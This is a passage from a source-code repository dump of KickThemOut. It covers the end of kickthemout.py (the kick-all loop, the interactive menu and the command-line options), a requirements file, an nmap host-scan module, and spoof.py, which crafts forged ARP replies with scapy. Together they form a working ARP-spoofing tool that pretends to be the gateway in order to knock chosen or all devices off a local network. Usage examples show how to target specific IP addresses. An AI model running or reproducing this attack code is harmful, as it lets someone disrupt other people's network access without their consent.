on KeyboardInterrupt exception 531 | print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END)) 532 | reArp = 1 533 | while reArp != 10: 534 | # broadcast ARP packets with legitimate info to restore connection 535 | for i in someTargets: 536 | ip = onlineIPs[int(i)] 537 | for host in hostsList: 538 | if host[0] == ip: 539 | try: 540 | spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) 541 | except KeyboardInterrupt: 542 | pass 543 | except: 544 | runDebug() 545 | reArp += 1 546 | time.sleep(0.2) 547 | print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END)) 548 | 549 | 550 | 551 | # kick all devices 552 | def kickalloff(): 553 | os.system("clear||cls") 554 | 555 | print("\n{}kickALLOff{} selected...{}\n".format(RED, GREEN, END)) 556 | global stopAnimation 557 | stopAnimation = False 558 | t = threading.Thread(target=scanningAnimation, args=('Hang on...',)) 559 | t.daemon = True 560 | t.start() 561 | 562 | # commence scanning process 563 | try: 564 | scanNetwork() 565 | except KeyboardInterrupt: 566 | shutdown() 567 | stopAnimation = True 568 | 569 | print("Target(s): ") 570 | for i in range(len(onlineIPs)): 571 | mac = "" 572 | for host in hostsList: 573 | if host[0] == onlineIPs[i]: 574 | mac = host[1] 575 | try: 576 | hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0] 577 | except: 578 | hostname = "N/A" 579 | vendor = resolveMac(mac) 580 | print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END)) 581 | 582 | if options.packets is not None: 583 | print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets))) 584 | else: 585 | print("\n{}Spoofing started... {}".format(GREEN, END)) 586 | try: 587 | # broadcast malicious ARP packets 588 | reScan = 0 589 | while True: 590 | for host in hostsList: 591 | if host[0] != defaultGatewayIP: 592 | # dodge gateway (avoid crashing network itself) 593 | spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) 594 | reScan += 1 595 | if reScan == 4: 596 | reScan = 0 597 | scanNetwork() 598 | if options.packets is not None: 599 | time.sleep(60/float(options.packets)) 600 | else: 601 | time.sleep(10) 602 | except KeyboardInterrupt: 603 | print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END)) 604 | reArp = 1 605 | while reArp != 10: 606 | # broadcast ARP packets with legitimate info to restore connection 607 | for host in hostsList: 608 | if host[0] != defaultGatewayIP: 609 | try: 610 | # dodge gateway 611 | spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) 612 | except KeyboardInterrupt: 613 | pass 614 | except: 615 | runDebug() 616 | reArp += 1 617 | time.sleep(0.2) 618 | print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END)) 619 | 620 | 621 | 622 | # script's main function 623 | def main(): 624 | 625 | # display heading 626 | heading() 627 | 628 | if interactive: 629 | 630 | print("\n{}Using interface '{}{}{}' with MAC address '{}{}{}'.\nGateway IP: '{}{}{}' --> {}{}{} hosts are up.{}".format( 631 | GREEN, RED, defaultInterface, GREEN, RED, defaultInterfaceMac, GREEN, RED, defaultGatewayIP, GREEN, RED, str(len(hostsList)), GREEN, END)) 632 | # display warning in case of no active hosts 633 | if len(hostsList) == 0 or len(hostsList) == 1: 634 | if len(hostsList) == 1: 635 | if hostsList[0][0] == defaultGatewayIP: 636 | print("\n{}{}WARNING: There are {}0 hosts up{} on you network except your gateway.\n\tYou can't kick anyone off {}:/{}\n".format( 637 | GREEN, RED, GREEN, RED, GREEN, END)) 638 | os._exit(1) 639 | else: 640 | print( 641 | "\n{}{}WARNING: There are {}0 hosts{} up on you network.\n\tIt looks like something went wrong {}:/{}".format( 642 | GREEN, RED, GREEN, RED, GREEN, END)) 643 | print( 644 | "\n{}If you are experiencing this error multiple times, please submit an issue here:\n\t{}https://github.com/k4m4/kickthemout/issues\n{}".format( 645 | RED, BLUE, END)) 646 | os._exit(1) 647 | 648 | else: 649 | print("\n{}Using interface '{}{}{}' with MAC address '{}{}{}'.\nGateway IP: '{}{}{}' --> Target(s): '{}{}{}'.{}".format( 650 | GREEN, RED, defaultInterface, GREEN, RED, defaultInterfaceMac, GREEN, RED, defaultGatewayIP, GREEN, RED, ", ".join(options.targets), GREEN, END)) 651 | 652 | if options.targets is None and options.scan is False: 653 | try: 654 | 655 | while True: 656 | optionBanner() 657 | 658 | header = ('{}kickthemout{}> {}'.format(BLUE, WHITE, END)) 659 | choice = input(header) 660 | 661 | if choice.upper() == 'E' or choice.upper() == 'EXIT': 662 | shutdown() 663 | 664 | elif choice == '1': 665 | kickoneoff() 666 | 667 | elif choice == '2': 668 | kicksomeoff() 669 | 670 | elif choice == '3': 671 | kickalloff() 672 | 673 | elif choice.upper() == 'CLEAR': 674 | os.system("clear||cls") 675 | else: 676 | print("\n{}ERROR: Please select a valid option.{}\n".format(RED, END)) 677 | 678 | except KeyboardInterrupt: 679 | shutdown() 680 | 681 | elif options.scan is not False: 682 | stopAnimation = False 683 | t = threading.Thread(target=scanningAnimation, args=('Scanning your network, hang on...',)) 684 | t.daemon = True 685 | t.start() 686 | 687 | # commence scanning process 688 | try: 689 | scanNetwork() 690 | except KeyboardInterrupt: 691 | shutdown() 692 | stopAnimation = True 693 | 694 | print("\nOnline IPs: ") 695 | for i in range(len(onlineIPs)): 696 | mac = "" 697 | for host in hostsList: 698 | if host[0] == onlineIPs[i]: 699 | mac = host[1] 700 | try: 701 | hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0] 702 | except: 703 | hostname = "N/A" 704 | vendor = resolveMac(mac) 705 | print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END)) 706 | 707 | else: 708 | nonInteractiveAttack() 709 | 710 | 711 | 712 | if __name__ == '__main__': 713 | 714 | # implement option parser 715 | optparse.OptionParser.format_epilog = lambda self, formatter: self.epilog 716 | 717 | version = '2.0' 718 | examples = ('\nExamples:\n'+ 719 | ' sudo python3 kickthemout.py --target 192.168.1.10 \n'+ 720 | ' sudo python3 kickthemout.py -t 192.168.1.5,192.168.1.10 -p 30\n'+ 721 | ' sudo python3 kickthemout.py -s\n'+ 722 | ' sudo python3 kickthemout.py (interactive mode)\n') 723 | 724 | parser = optparse.OptionParser(epilog=examples, 725 | usage='sudo python3 %prog [options]', 726 | prog='kickthemout.py', version=('KickThemOut ' + version)) 727 | 728 | parser.add_option('-p', '--packets', action='store', 729 | dest='packets', help='number of packets broadcasted per minute (default: 6)') 730 | 731 | parser.add_option('-s', '--scan', action='store_true', default=False, 732 | dest='scan', help='perform a quick network scan and exit') 733 | 734 | parser.add_option('-a', '--kick-all', action='store_true', default=False, 735 | dest='kick_all', help='perform attack on all online devices') 736 | 737 | def targetList(option, opt, value, parser): 738 | setattr(parser.values, option.dest, value.split(',')) 739 | parser.add_option('-t', '--target', action='callback', 740 | callback=targetList, type='string', 741 | dest='targets', help='specify target IP address(es) and perform attack') 742 | 743 | (options, argv) = parser.parse_args() 744 | 745 | try: 746 | if checkInternetConnection(): 747 | pass 748 | else: 749 | print("\n{}ERROR: It seems that you are offline. Please check your internet connection.{}\n".format(RED, END)) 750 | os._exit(1) 751 | except KeyboardInterrupt: 752 | shutdown() 753 | 754 | # configure appropriate network info 755 | try: 756 | defaultInterface = getDefaultInterface() 757 | defaultGatewayIP = getGatewayIP() 758 | defaultInterfaceMac = getDefaultInterfaceMAC() 759 | global defaultGatewayMacSet 760 | defaultGatewayMacSet = False 761 | except KeyboardInterrupt: 762 | shutdown() 763 | 764 | if (options.packets is not None and (options.packets).isdigit()) or options.packets is None: 765 | pass 766 | else: 767 | print("\n{}ERROR: Argument for number of packets broadcasted per minute must be an integer {}(e.g. {}--packet 60{}).\n".format(RED, END, BLUE, END)) 768 | os._exit(1) 769 | 770 | if options.targets is None and options.kick_all is False: 771 | # set to interactive attack 772 | interactive = True 773 | global stopAnimation 774 | stopAnimation = False 775 | t = threading.Thread(target=scanningAnimation, args=('Scanning your network, hang on...',)) 776 | t.daemon = True 777 | t.start() 778 | # commence scanning process 779 | try: 780 | scanNetwork() 781 | except KeyboardInterrupt: 782 | shutdown() 783 | stopAnimation = True 784 | elif options.targets is None and options.kick_all is True: 785 | # set to non-interactive attack 786 | interactive = False 787 | kickalloff() 788 | os._exit(0) 789 | elif options.targets is not None and options.kick_all is True: 790 | print("\n{}ERROR: Cannot use both {}-a/--kick-all{} and {}-t/--target{} flags in one command.{}\n".format(RED, BLUE, RED, BLUE, RED, END)) 791 | os._exit(1) 792 | else: 793 | # set to non-interactive attack 794 | interactive = False 795 | 796 | main() 797 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy 2 | python-nmap 3 | netifaces -------------------------------------------------------------------------------- /scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -.- coding: utf-8 -.- 3 | # scan.py 4 | 5 | """ 6 | Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com) 7 | See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) 8 | """ 9 | 10 | import nmap 11 | 12 | # perform a network scan with nmap 13 | def scanNetwork(network): 14 | returnlist = [] 15 | nm = nmap.PortScanner() 16 | a = nm.scan(hosts=network, arguments='-sn') 17 | 18 | for k, v in a['scan'].items(): 19 | if str(v['status']['state']) == 'up': 20 | try: 21 | returnlist.append([str(v['addresses']['ipv4']), str(v['addresses']['mac'])]) 22 | except: 23 | pass 24 | 25 | return returnlist 26 | -------------------------------------------------------------------------------- /spoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -.- coding: utf-8 -.- 3 | # spoof.py 4 | 5 | """ 6 | Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com) 7 | See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) 8 | """ 9 | 10 | import sys, logging 11 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 12 | from scapy.all import ( 13 | get_if_hwaddr, 14 | getmacbyip, 15 | ARP, 16 | Ether, 17 | sendp, 18 | conf, 19 | RadioTap, 20 | Dot11, 21 | Dot11Deauth 22 | ) 23 | 24 | # send malicious ARP packets 25 | def sendPacket(my_mac, gateway_ip, target_ip, target_mac): 26 | ether = Ether() 27 | ether.src = my_mac 28 | 29 | arp = ARP() 30 | arp.psrc = gateway_ip 31 | arp.hwsrc = my_mac 32 | 33 | arp = arp 34 | arp.pdst = target_ip 35 | arp.hwdst = target_mac 36 | 37 | ether = ether 38 | ether.src = my_mac 39 | ether.dst = target_mac 40 | 41 | arp.op = 2 42 | 43 | def broadcastPacket(): 44 | packet = ether / arp 45 | sendp(x=packet, verbose=False) 46 | 47 | broadcastPacket() --------------------------------------------------------------------------------